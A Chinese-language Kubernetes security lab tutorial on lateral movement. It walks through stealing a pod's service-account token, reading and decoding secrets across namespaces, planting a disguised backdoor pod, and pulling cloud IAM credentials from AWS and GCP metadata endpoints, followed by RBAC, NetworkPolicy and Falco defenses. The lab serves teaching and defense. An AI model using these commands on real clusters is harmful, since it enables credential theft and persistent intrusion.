
ATT&CK TA0008 Lateral Movement——拿到一個 Namespace 的權限後,如何擴展到整個叢集甚至雲端。
信任邊界是不同安全等級之間的界線。跨過信任邊界的存取需要額外的認證或授權。在傳統網路中,防火牆就是信任邊界——內網與外網之間的分界。
在 K8s 中,信任邊界有四層,但不是每一層都是真正的安全邊界:

RBAC 的權限範圍直接決定了攻擊者能跨越多少信任邊界:
| RBAC 資源 | 範圍 | 橫向移動風險 |
|---|---|---|
| Role + RoleBinding | 單一 Namespace | 低:只能操作同 Namespace 資源 |
| ClusterRole + RoleBinding | 單一 Namespace(用叢集範本) | 低:權限仍限在綁定的 Namespace |
| ClusterRole + ClusterRoleBinding | 全叢集 | 高:可跨所有 Namespace |
最危險的就是 ClusterRoleBinding——它讓一個 ServiceAccount 能存取所有 Namespace 的資源。
每個 Pod 預設會自動掛載所屬 ServiceAccount 的 Token:

Token 的演進(這影響橫向移動的難易度):
| 版本 | Token 類型 | 有效期 | 橫向移動風險 |
|---|---|---|---|
| < 1.20 | 永久 Token(Secret) | 永不過期 | 極高:偷到就永久有效 |
| 1.20-1.23 | Bound Token(預設) | 1 小時 | 中:有時效限制 |
| ≥ 1.24 | Bound Token Only | 1 小時 + audience | 低:限定用途 + 時效 |
Bound Token 有三個限制:過期時間、綁定的 Pod、指定的 audience。即使被偷走,1 小時後就失效,而且如果原始 Pod 被刪除,Token 也立即失效。
很多人誤以為「不同 Namespace = 安全隔離」,這是最常見的 K8s 安全誤解:
1. 共享 API Server
所有 Namespace 連到同一個 API Server。如果一個 SA 的 ClusterRoleBinding 有跨 Namespace 權限,Namespace 的邊界形同虛設。
2. 共享 Node
不同 Namespace 的 Pod 可能跑在同一個 Node 上。如果攻擊者逃逸到宿主機,就能看到所有 Namespace 的 Pod。
3. 預設無 NetworkPolicy
K8s 預設允許所有 Pod 互相通訊。koad Namespace 的 Pod 可以直接 curl 到 koad-production Namespace 的 Pod——不需要任何特殊權限。

理解了這些基礎後,接下來看攻擊者如何利用這些弱點進行橫向移動。
| 場景 | ATT&CK | 技術 | 攻擊手法 |
|---|---|---|---|
| S30 | T1550 | Use Alternate Authentication Material | 竊取 SA Token 跨 Namespace 存取 |
TA0008 Lateral Movement 在 ATT&CK Containers Matrix 中只有一個技術,但它是連接 Credential Access(Day 16)和 Impact(Day 20–21)的關鍵橋梁。在 K8s 中,Lateral Movement 的本質是從一個信任域跳到另一個信任域——Namespace 之間、Pod 之間、甚至從 K8s 到雲端。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pods -n koad | grep -E "token-lateral|lateral"
如果 Pod 不在 Running 狀態:
kubectl apply -f scenarios/lateral-movement/S30-token-lateral.yaml
# 第二終端 — 觀察橫向移動告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|lateral\|token\|namespace"
完成本日實作後,你將能夠:
K8s 的 Namespace 提供邏輯隔離,但不是安全邊界。如果一個 SA Token 擁有跨 Namespace 的權限(例如 cluster-admin),攻擊者就能從 koad namespace 存取 koad-production namespace 的資源。

S30 建立了一個模擬生產環境 Namespace,攻擊者需要從 koad 跳到 koad-production:
# 生產環境 Namespace
apiVersion: v1
kind: Namespace
metadata:
name: koad-production
labels:
koad-scenario: S30
environment: production
---
# 生產環境的敏感 Secret
apiVersion: v1
kind: Secret
metadata:
name: production-db-creds
namespace: koad-production
type: Opaque
data:
host: cHJvZC1kYi5leGFtcGxlLmNvbQ== # prod-db.example.com
username: cHJvZF9hZG1pbg== # prod_admin
password: UHIwZF9TdXBlclNlY3JldCE= # Pr0d_SuperSecret!
connection_string: cG9zdGdyZXNxbDovL3Byb2RfYWRtaW46UHIwZF9TdXBlclNlY3JldCFAcHJvZC1kYi5leGFtcGxlLmNvbTo1NDMyL3Byb2R1Y3Rpb24=
---
# 生產環境的應用
apiVersion: apps/v1
kind: Deployment
metadata:
name: production-app
namespace: koad-production
spec:
replicas: 1
selector:
matchLabels:
app: production-app
template:
metadata:
labels:
app: production-app
spec:
containers:
- name: app
image: nginx:1.27-alpine
ports:
- containerPort: 80
攻擊者 Pod:
apiVersion: v1
kind: Pod
metadata:
name: lateral-mover
namespace: koad
labels:
koad-scenario: S30
mitre-attck: T1550
spec:
serviceAccountName: overprivileged-sa # cluster-admin
containers:
- name: mover
image: bitnami/kubectl:latest
command: ["sh", "-c", "sleep infinity"]
S30 的 YAML 中有三個關鍵設計:
serviceAccountName: overprivileged-sa # 綁定 cluster-admin,模擬過度授權
overprivileged-sa 綁定 cluster-admin:讓攻擊者的 Pod 擁有跨 Namespace 的完整權限,模擬現實中 CI/CD Pipeline 或 Operator 被過度授權的情況koad-production Namespace:建立隔離的「生產環境」存放敏感 Secret,讓學員體驗 Namespace 邊界在 RBAC 錯誤配置下形同虛設bitnami/kubectl 映像:攻擊者容器自帶 kubectl,模擬真實攻擊中攻擊者下載工具的步驟S30 的攻擊腳本展示了四階段的橫向移動鏈:
# Phase 1:竊取自動掛載的 SA Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# K8s 預設將 SA Token 掛載到每個 Pod 的固定路徑
# 攻擊者不需要任何額外權限就能讀取
# Phase 2:用竊取的 Token 跨 Namespace 列舉 Pod
kubectl --token="$TOKEN" get pods -n koad-production
# 關鍵:--token 參數讓攻擊者以 overprivileged-sa 身份操作
# 如果 SA 只有 koad namespace 的 Role,這步會失敗
# 但 cluster-admin 的 ClusterRoleBinding 讓它能存取所有 Namespace
# Phase 3:讀取生產環境的 Secret
kubectl --token="$TOKEN" get secret production-db-creds -n koad-production -o yaml
# Secret 的 data 欄位是 Base64 編碼,不是加密
# echo "cHJvZF9hZG1pbg==" | base64 -d → prod_admin
# Phase 4:嘗試存取雲端 Metadata API
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 在雲端 K8s(EKS/GKE/AKS),這會回傳 Node 的 IAM 憑證
# 攻擊者可以從 K8s 橫向移動到雲端
這四個階段對應了完整的 Cyber Kill Chain:憑證竊取 -> 探索 -> 資料存取 -> 雲端橫向移動。防禦方需要在每個階段都有偵測和阻斷能力——automountServiceAccountToken: false 阻斷 Phase 1,最小權限 RBAC 阻斷 Phase 2-3,NetworkPolicy 阻斷 Phase 4。
S30 模擬的是容器環境中最危險的橫向移動路徑——從一個被入侵的 Pod 透過過度授權的 SA Token 跨 Namespace 存取生產資料。2019 年 Capital One 事件中,攻擊者正是透過 SSRF 取得雲端 Metadata API 的 IAM 憑證,進而存取 S3 中的一億筆客戶資料。在 K8s 環境中,cluster-admin 等級的 SA Token 等同於雲端 IAM 的 Admin Role——一旦被竊取,Namespace 隔離形同虛設。KOAD 刻意讓 overprivileged-sa 綁定 cluster-admin,並建立獨立的 koad-production Namespace 存放模擬的生產 Secret,讓學員親眼看到 Token 橫向移動的完整攻擊鏈,理解為什麼最小權限原則和 Bound SA Token 是防禦關鍵。
步驟 1:竊取目前 Pod 的 SA Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "Token prefix: ${TOKEN:0:30}..."
預期結果:
Token prefix: eyJhbGciOiJSUzI1NiIsImtpZCI6...
JWT Token 以
eyJ開頭(Base64 編碼的{"alg":"RS256",...}),攻擊者可以直接用這個 Token 呼叫 API Server,無需帳號密碼。

步驟 2:確認 Token 的身份和權限
kubectl auth whoami
預期結果:
Username: system:serviceaccount:koad:overprivileged-sa
Groups: system:serviceaccounts, system:serviceaccounts:koad
Token 對應到
koadNamespace 的overprivileged-sa。如果這個 SA 有 ClusterRoleBinding 到cluster-admin,攻擊者就能跨所有 Namespace 操作。

步驟 3:確認跨 Namespace 權限
kubectl auth can-i get secrets -n koad-production
預期結果:
yes ← 可以讀取生產環境的 Secret!
yes確認了跨 Namespace 權限——從koad能讀取koad-production的 Secret,這是橫向移動成功的前提條件。
kubectl auth can-i '*' '*' -n koad-production
預期結果:
yes ← cluster-admin 在所有 Namespace 都有完整權限
cluster-admin的*/*萬用權限代表攻擊者可以在任何 Namespace 執行任何操作——包括刪除 Pod、讀取 Secret、建立後門。

步驟 4:列舉生產環境的 Pod
kubectl --token="$TOKEN" get pods -n koad-production
預期結果:
NAME READY STATUS RESTARTS AGE
production-app-7b8f9c6d4-x2k9m 1/1 Running 0 15m
攻擊者現在能看到生產環境的 Pod 清單——接下來可以 exec 進入這些 Pod,或讀取它們的 Secret。

步驟 5:讀取生產環境 Secret
kubectl --token="$TOKEN" get secret production-db-creds \
-n koad-production -o yaml
預期結果:
apiVersion: v1
kind: Secret
data:
host: cHJvZC1kYi5leGFtcGxlLmNvbQ==
password: UHIwZF9TdXBlclNlY3JldCE=
username: cHJvZF9hZG1pbg==
Secret 的
data欄位只是 Base64 編碼(不是加密),攻擊者拿到就能直接解碼取得明文密碼。這就是為什麼 etcd 加密和 RBAC 限制 Secret 存取如此重要。

步驟 6:解碼 Secret
kubectl --token="$TOKEN" get secret production-db-creds \
-n koad-production -o jsonpath='{.data.password}' | base64 -d
預期結果:
Pr0d_SuperSecret!
生產環境的資料庫密碼已被解碼——攻擊者可以直接連接到生產資料庫,造成資料外洩。這是橫向移動的最終目標之一。

步驟 7:取得完整的連線字串
kubectl --token="$TOKEN" get secret production-db-creds \
-n koad-production -o jsonpath='{.data.connection_string}' | base64 -d
預期結果:
postgresql://prod_admin:Pr0d_SuperSecret!@prod-db.example.com:5432/production
完整連線字串包含主機、帳號、密碼、連接埠和資料庫名稱——攻擊者可以從任何有網路存取權的位置直接連到生產資料庫。

步驟 8:exec 進入生產 Pod
kubectl --token="$TOKEN" exec -it -n koad-production \
production-app-7b8f9c6d4-x2k9m -- sh
預期結果:
/ # ← 已進入生產 Pod
攻擊者已 exec 進入生產環境的 Pod——可以存取容器內的環境變數、檔案系統和掛載的 Secret,等同於完全控制該應用。

步驟 9:在生產 Pod 中進一步偵察
env | grep -iE 'password|secret|key|token'
預期結果:
KUBERNETES_SERVICE_HOST=10.96.0.1
DB_PASSWORD=Pr0d_SuperSecret!
環境變數洩漏了 API Server 地址和資料庫密碼——攻擊者可用此橫向存取其他服務。
cat /var/run/secrets/kubernetes.io/serviceaccount/token
預期結果:
eyJhbGciOiJSUzI1NiIs... ← 生產環境的 SA Token
從環境變數找到 DB 密碼,再從掛載目錄取得生產環境 SA Token——攻擊者可以用這個新 Token 進一步擴展攻擊面。

步驟 10:部署後門到生產環境
kubectl --token="$TOKEN" create -n koad-production -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: maintenance-worker
labels:
app: maintenance
spec:
containers:
- name: worker
image: busybox:1.36
command: ["sh", "-c", "while true; do echo beacon; sleep 300; done"]
EOF
預期結果:
pod/maintenance-worker created
攻擊者成功在生產環境部署了偽裝成維運工具的後門 Pod——名稱
maintenance-worker不會引起注意,但實際上是攻擊者的持久化存取點。


雲端 K8s(EKS/GKE/AKS)的 Pod 可以存取 Instance Metadata API(169.254.169.254),取得 Node 的 IAM/GCP SA 臨時憑證。這些憑證通常擁有存取雲端資源(S3、RDS、Cloud SQL)的權限。
步驟 1:確認是否在 AWS 環境
curl -s -m 2 http://169.254.169.254/latest/meta-data/
預期結果:
ami-id
ami-launch-index
hostname
instance-id
...
Metadata API 回應代表 Pod 跑在 AWS EC2 上。攻擊者接下來會嘗試取得 Node 的 IAM 憑證來存取雲端資源。

步驟 2:取得 IAM Role 名稱
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
預期結果:
eks-node-role
IAM Role 名稱暴露了 Node 的身份——攻擊者用這個名稱就能取得該 Role 的臨時憑證。

步驟 3:取得臨時 IAM 憑證
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-role
預期結果:
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-08-20T12:00:00Z"
}
這組 IAM 臨時憑證有效期通常為 6 小時,攻擊者可以直接用它呼叫 AWS API(S3、RDS、EC2 等),權限取決於 Node IAM Role 的設定。

步驟 4:用 IAM 憑證存取 S3
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls
預期結果:
2026-01-01 00:00:00 company-production-data
2026-01-01 00:00:00 company-backups
2026-01-01 00:00:00 company-logs
攻擊者已經從 K8s 穿透到雲端——可以列出 S3 Bucket 代表能存取公司的生產資料、備份和日誌,影響範圍遠超 K8s 叢集本身。

步驟 5:嘗試存取 RDS
aws rds describe-db-instances --region us-east-1
預期結果:
{
"DBInstances": [
{
"DBInstanceIdentifier": "prod-database",
"Endpoint": {"Address": "prod-database.xxx.us-east-1.rds.amazonaws.com"}
}
]
}
如果 Node IAM Role 有 RDS 權限,就能洩漏資料庫端點和配置

步驟 1:取得 GCP Metadata Token
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
預期結果:
{
"access_token": "ya29.c...",
"expires_in": 3600,
"token_type": "Bearer"
}
GCP Metadata API 回傳的
access_token可以直接當作 Bearer Token 呼叫任何 Google Cloud API,權限由 Node 綁定的 GCP Service Account 決定。

步驟 2:用 Token 存取 GCS
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | \
jq -r '.access_token')
curl -s -H "Authorization: Bearer $TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=$(curl -s -H 'Metadata-Flavor: Google' \
http://metadata.google.internal/computeMetadata/v1/project/project-id)"
預期結果:
{
"items": [
{"name": "company-data-bucket"},
{"name": "company-logs-bucket"}
]
}
成功列出 GCS Bucket 代表攻擊者已突破 K8s 邊界進入 GCP 雲端——接下來可以下載資料、修改權限、甚至刪除備份。

步驟 3:存取 Cloud SQL
curl -s -H "Authorization: Bearer $TOKEN" \
"https://sqladmin.googleapis.com/v1/projects/PROJECT_ID/instances"
預期結果:
{
"items": [
{"name": "prod-sql", "connectionName": "project:region:prod-sql"}
]
}
Cloud SQL instance 資訊洩漏讓攻擊者能定位生產資料庫的連線端點,結合前面取得的 Token 可能直接建立連線。

KOAD 靶場使用 mock-metadata 服務模擬雲端 Metadata API(因為 Minikube 不在雲端):
# apps/mock-metadata/app.py
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/latest/meta-data/iam/security-credentials/<role>')
def aws_credentials(role):
return jsonify({
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "FwoGZXIvYXdzEBYaDH...",
"Expiration": "2026-08-20T12:00:00Z"
})
@app.route('/computeMetadata/v1/instance/service-accounts/default/token')
def gcp_token():
return jsonify({
"access_token": "ya29.FAKE_TOKEN_FOR_DEMO",
"expires_in": 3600,
"token_type": "Bearer"
})
踩坑提醒: KOAD 的 mock-metadata 服務僅用於展示攻擊概念。真實雲端環境中,IMDS(Instance Metadata Service)回傳的是真正可用的 IAM 臨時憑證。AWS 在 2020 年推出 IMDSv2(需要先用 PUT 請求取得 Token),大幅降低了 SSRF 導致的憑證洩漏風險。
三大雲端各自發展了不同的 Pod-to-Cloud 身份機制,目標都是避免 Pod 直接存取 Node 的 IAM 憑證:
| 雲端 | 機制 | 原理 | 粒度 | IMDS 防護 |
|---|---|---|---|---|
| AWS EKS | IRSA / Pod Identity | SA Token 透過 OIDC 換取 AWS STS 臨時憑證 | 每個 SA 對應一個 IAM Role | IMDSv2(PUT token 保護);Pod Identity 完全繞過 IMDS |
| GCP GKE | Workload Identity Federation | SA Token 直接映射到 GCP Service Account | 每個 K8s SA 對應一個 GCP SA | GKE 預設啟用 Metadata Concealment,阻擋 Pod 存取 Node SA |
| Azure AKS | Azure AD Workload Identity | SA Token 透過 OIDC 換取 Azure AD Token | 每個 SA 對應一個 Managed Identity | 可啟用 IMDS 限制(--enable-pod-identity-with-kubenet) |
實務建議: 無論哪個雲端,都應該啟用對應的 Workload Identity 機制,而非讓 Pod 繼承 Node 的 IAM 權限。KOAD S30 模擬的正是「沒有啟用 Workload Identity 時」的攻擊路徑。
# 限制 SA 只能存取自己的 Namespace
# 關鍵:用 Role + RoleBinding(Namespace 範圍)
# 不要用 ClusterRole + ClusterRoleBinding(叢集範圍)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role # ← Role,不是 ClusterRole
metadata:
name: app-role
namespace: koad # ← 只在 koad namespace 生效
rules:
- apiGroups: [""]
resources: ["pods", "services"]
verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding # ← RoleBinding,不是 ClusterRoleBinding
metadata:
name: app-binding
namespace: koad # ← 只在 koad namespace 生效
subjects:
- kind: ServiceAccount
name: app-sa
namespace: koad
roleRef:
kind: Role # ← 引用 Role,不是 ClusterRole
name: app-role
apiGroup: rbac.authorization.k8s.io
關鍵原則:
| 用法 | 結果 | 建議 |
|---|---|---|
| Role + RoleBinding | SA 只能存取一個 Namespace | 應用 SA 首選 |
| ClusterRole + RoleBinding | 可跨 Namespace 重用定義 | 謹慎使用 |
| ClusterRole + ClusterRoleBinding | SA 可存取所有 Namespace | 只給系統元件 |
# 生產環境:只允許同 Namespace 的 Pod 互相通訊
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-cross-namespace
namespace: koad-production
spec:
podSelector: {}
policyTypes:
- Ingress
ingress:
- from:
- podSelector: {} # 只允許同 Namespace 的 Pod
# 不含 namespaceSelector = 排除其他 Namespace
volumes:
- name: bound-token
projected:
sources:
- serviceAccountToken:
path: token
expirationSeconds: 3600
audience: koad-namespace-only # 限定受眾
| 雲端 | 防禦措施 | 效果 |
|---|---|---|
| AWS | IMDSv2(需要 Token) | 阻擋 SSRF 導致的 Metadata 存取 |
| AWS | 限制 Node IAM Role 權限 | 即使存取到也權限有限 |
| AWS | IRSA(Pod 綁定 IAM Role) | 每個 Pod 獨立的最小權限 |
| GCP | Workload Identity(Pod 綁定 GCP SA) | 取代 Node-level SA |
| Azure | Pod Identity + 限制 Metadata 存取 | Pod 層級的身份管理 |
| 通用 | NetworkPolicy 阻擋 169.254.169.254 | 阻擋所有 Metadata 存取 |
# NetworkPolicy 阻擋 Metadata API
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
namespace: koad
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32 # 阻擋 Metadata API
- to: []
ports:
- protocol: UDP
port: 53 # 允許 DNS
- rule: KOAD S30 Cross-Namespace Secret Access
desc: Detect access to secrets in a different namespace than the caller
condition: >
jevt.value[/verb] = "get" and
jevt.value[/objectRef/resource] = "secrets" and
jevt.value[/objectRef/namespace] !=
jevt.value[/user/extra/authentication.kubernetes.io~1pod-namespace/0]
output: >
Cross-namespace secret access detected — possible lateral movement!
(user=%jevt.value[/user/username]
source_ns=%jevt.value[/user/extra/authentication.kubernetes.io~1pod-namespace/0]
target_ns=%jevt.value[/objectRef/namespace]
secret=%jevt.value[/objectRef/name])
priority: CRITICAL
source: k8s_audit
tags: [KOAD, T1550, lateral-movement]
Lateral Movement 是攻擊鏈的倒數第二步,也是攻擊者從「局部控制」走向「全面控制」的關鍵轉折:

| 防禦層 | 措施 | 阻擋效果 | 實施難度 |
|---|---|---|---|
| RBAC | Role + RoleBinding(非 ClusterRole) | 限制 SA 在單一 Namespace | 低 |
| Network | NetworkPolicy 跨 Namespace 隔離 | 阻擋網路層存取 | 中 |
| Token | Bound Token + audience | 限制 Token 用途和壽命 | 低 |
| Cloud | Block Metadata + Workload Identity | 阻擋雲端穿透 | 中 |
| Detect | Falco k8s_audit 規則 | 偵測跨 Namespace Secret 存取 | 低 |
K8s Service 的 externalTrafficPolicy 決定了外部流量如何路由到 Pod,這直接影響安全稽核的可追蹤性。
| 設定 | 行為 | 來源 IP | 安全影響 |
|---|---|---|---|
Cluster(預設) |
流量在所有 Node 間均衡分配 | SNAT 遮蔽,看到的是 Node IP | 無法追蹤真實來源,橫向移動痕跡被掩蓋 |
Local |
流量只路由到本地 Node 的 Pod | 保留原始來源 IP | 可追蹤來源 IP,利於 Audit 和事件分析 |
apiVersion: v1
kind: Service
metadata:
name: production-app
spec:
type: LoadBalancer
externalTrafficPolicy: Local # 保留來源 IP
selector:
app: production-app
ports:
- port: 80
targetPort: 8080
在 S30 橫向移動場景中,攻擊者從一個 Pod 存取另一個 Namespace 的 Service。如果 Service 使用預設的 Cluster 策略,Audit Log 中記錄的來源 IP 是 Node IP 而非攻擊者 Pod IP,增加了事件調查的難度。
使用 Local 策略的取捨:
生產環境建議對需要稽核的關鍵服務使用 externalTrafficPolicy: Local,搭配 TopologySpreadConstraints 確保 Pod 分散在多個 Node 上。
| 考點 | 本日內容 | 權重 | 考試提示 |
|---|---|---|---|
| RBAC 設計 | Role vs ClusterRole | Cluster Hardening 15% | 必考:理解 RoleBinding 的 Namespace 範圍 |
| NetworkPolicy | Namespace 隔離 | Cluster Setup 15% | 考試會考 namespaceSelector 的用法 |
| SA Token | Bound Token audience | Cluster Hardening 15% | 理解 projected volume 的設定 |
| 雲端安全 | Metadata API 防護 | 不在 CKS 範圍 | 但在真實環境中極其重要 |
# 主機終端
kubectl delete pod -n koad -l koad-scenario=S30 2>/dev/null
kubectl apply -f scenarios/lateral-movement/S30-token-lateral.yaml
如果在攻擊過程中建立了額外的 Pod 或 RoleBinding,也需要一併清理。
明天 Day 20 進入 ATT&CK 最後一個戰術——TA0040 Impact,攻擊者的最終目的:破壞資料、DoS 攻擊、加密貨幣挖礦。